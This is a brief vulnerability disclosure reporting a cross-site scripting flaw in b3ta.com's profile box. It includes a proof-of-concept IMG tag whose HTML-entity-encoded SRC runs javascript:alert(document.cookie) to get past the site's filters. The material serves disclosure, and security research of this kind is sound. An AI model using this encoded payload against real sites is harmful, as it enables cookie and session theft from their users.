B3ta.com - XSS with cookie disclosure

[luny]

B3ta.com


Homepage:

http://www.b3ta.com


Affected files:

Input boxes of your profile



XSS vuln with cookie disclosure via Profile: box.


Data isn't correctly sanatized before being generated. We can bypass the 
filters of the site one way by using img tags and converting our javascript to 
UTF-8 unicode. PoC:


<IMG 
SRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;>


Screenshots:


http://www.youfucktard.com/xsp/b3ta1.jpg

http://www.youfucktard.com/xsp/b3ta2.jpg